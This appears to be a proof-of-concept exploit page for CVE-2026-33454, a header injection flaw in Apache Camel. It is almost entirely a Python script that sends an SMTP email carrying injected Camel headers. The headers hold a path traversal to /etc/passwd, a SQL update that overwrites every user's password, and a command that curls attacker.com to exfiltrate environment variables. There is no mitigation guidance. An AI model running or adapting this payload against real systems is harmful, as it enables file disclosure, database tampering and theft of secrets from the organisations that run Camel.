CVE-2026-33454 Apache Camel消息头注入漏洞

import smtplib from email.mime.text import MIMEText from email.header import Header # Configuration sender = '[email protected]' receiver = '[email protected]' smtp_server = 'smtp.example.com' # Construct malicious email msg = MIMEText('Payload body', 'plain', 'utf-8') msg['From'] = sender msg['To'] = receiver msg['Subject'] = Header('Camel Header Injection', 'utf-8') # Inject malicious Camel headers to influence downstream components # Example 1: Attempting to manipulate file paths in camel-file msg['CamelFileName'] = '../../../etc/passwd' # Example 2: Attempting to inject SQL in camel-sql msg['CamelSqlQuery'] = 'UPDATE users SET password = "hacked" WHERE 1=1;--' # Example 3: Attempting to execute commands in camel-exec msg['CamelExecCommandArgs'] = 'curl http://attacker.com/steal?data=$(env)' try: with smtplib.SMTP(smtp_server, 25) as server: server.sendmail(sender, [receiver], msg.as_string()) print("[+] Malicious email sent successfully.") except Exception as e: print(f"[-] Failed to send email: {e}")